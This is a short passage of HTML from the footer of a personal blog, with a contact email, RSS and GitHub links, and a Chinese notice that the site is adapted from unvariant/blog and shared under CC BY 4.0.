class="footer-link">xzy1476569428@163.com</a><span aria-hidden="true" class="footer-separator">·</span><a href="/rss.xml" class="footer-link">RSS</a><span aria-hidden="true" class="footer-separator">·</span><a href="https://github.com/LittFlower/my_blog" class="footer-link">GitHub</a></div><div class="footer-row footer-meta"><span>本站基于 <a href="https://github.com/unvariant/blog">unvariant/blog</a> 改造，除特别说明外内容以 CC BY 4.0 协议共享。</span></div></footer></body></html>